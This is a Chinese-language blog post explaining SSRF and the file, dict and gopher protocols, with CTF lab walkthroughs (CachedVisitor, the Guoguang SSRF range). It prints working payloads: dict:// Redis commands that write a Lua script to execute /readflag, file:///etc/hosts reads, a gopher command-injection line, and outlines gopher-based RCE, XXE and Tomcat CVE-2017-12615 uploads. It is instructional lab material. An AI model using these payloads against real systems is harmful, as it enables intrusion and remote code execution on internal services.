SSRF漏洞:从理论到国光靶场实战

由 晨星运营组 发布

什么是SSRF

SSRF是一种由攻击者构造,最终由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统,因为请求是服务端发起的,所以可以直接访问内网资源,SSRF利用大多是协议的利用。

常见协议

file协议

file://是一种URI协议,用于访问本地文件系统中的文件。

若我们可以控制服务端,就可以利用该协议访问内网机器文件

基本格式:file://[主机名]/路径

主机名:通常为空或为localhost,表示访问本机文件。

路径:指定本地文件的完整路径,注意区分Windows和Unix 系统

Windows需要三个斜杠(///),Unix只需要两个斜杠(//)

dict协议

可以用来探测内网服务,端口开启情况,以及命令执行,但是命令执行的时候必须是未设置密码的情况。

使用方式:

dict://serverip:port/命令:参数

向服务器端口发送特定请求

dict协议执行命令要一条一条执行

该执行命令时较为受限,基本只适用于redis的未授权情况。

但是还是可以探测服务版本,就像我本地开个mysql有密码。

使用dict去连接

gopher协议

gopher支持发出GET、POST请求,是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell。

使用格式为

gopher://<server>:<port>/<prefix><encoded_data>
<prefix>

可以是单字符,但部分服务会根据前缀字符触发不同行为(如Redis会解析前缀为命令长度)。所以常用的还是>可以是单字符,但部分服务会根据前缀字符触发不同行为(如Redis会解析前缀为命令长度)。所以常用的还是

数据部分的特殊字符(如?、&、空格等)必须URL编码,否则会被截断或解析错误。

如果getshell的情况下,可以直接RCE,不用编码不用做格式转换,并且端口只需要存活即可,不用特殊端口,但是实用性感觉不大

curl gopher://localhost:80/_`cat /home/1.txt > 2.txt`

命令是服务端执行

这个协议能够完美的解决dict协议只能执行一条命令导致无法攻击授权应用的短板。

工具:gopherus

gopher协议的强大工具

地址:https://github.com/Esonhugh/Gopherus3
安装:pip install --use-pep517 git+https://github.com/Esonhugh/Gopherus3.git #针对python3最新修正

该工具主要针对未授权服务,对于sql这种手写比较麻烦的使用该工具会更加便捷。

命令 描述
gopherus3 --帮助 帮助
gopherus3 --漏洞利用 参数可以是 :
--利用 mysql -h
--利用 postgresql -h
--exploit fastcgi -h
--exploit redis -h
--exploit zabbix -h
--利用 pymemcache -h
--利用 rbmemcache -h
--利用 phpmemcache -h
--dmpmemcache-h漏洞利用
--利用 smtp -h

例题实战:CachedVisitor

搭建环境

docker build -t cachedvisitor:v1 .
docker run -d -p 32777:80 cachedvisitor:v1


可以通外网

存在ssrf同时看到有个redis

看看dict是否可用

dict可用,而且redis可用执行命令

分析一下源码

COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

lua脚本会执行/scripts/visit.script中的脚本,我们的目的是执行readfile。我们用redis将lua写入visit.script

dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##"  #设置键payload为我们的命令 
dict://127.0.0.1:6379/config:set:dir:/scripts/  #更改 Redis 配置,使其dir指向/scripts/目录
dict://127.0.0.1:6379/config:set:dbfilename:visit.script  #更改数据库文件名
dict://127.0.0.1:6379/bgsave #保存

刷新一下执行脚本,得到flag

国光SSRF靶场

地址:https://github.com/Duoduo-chino/ssrf_vul 

需对docker-compose.yml进行修改,设置网络和服务的IP地址。

主站点

使用file:///etc/hosts直接读取文件。


172.16.0.22

使用脚本扫描站点,发现shell.php和phpinfo.php,通过shell.php实现RCE。

172.16.0.23

扫描发现index.php存在SQL注入漏洞,无过滤,通过联合查询和加载文件获取信息。

172.16.0.24

正常打法,截断RCE,post上传

SSRF打法

把正常打法的整个数据包二次URL编码,利用gopher协议打

172.16.0.25

正常打法,发现用户登录XML文档解析存在XXE漏洞

SSRF打法

把正常打的整个数据包二次url编码,打gopher协议

gopher://172.16.0.25:80/_2次编码后的tcp流

172.16.0.26

针对Tomcat中间件的CVE-2017-12615任意写文件漏洞,将上传和访问jsp马的数据包进行二次URL编码,分别使用gopher协议和http 协议实现攻击。

END


0条评论

发表评论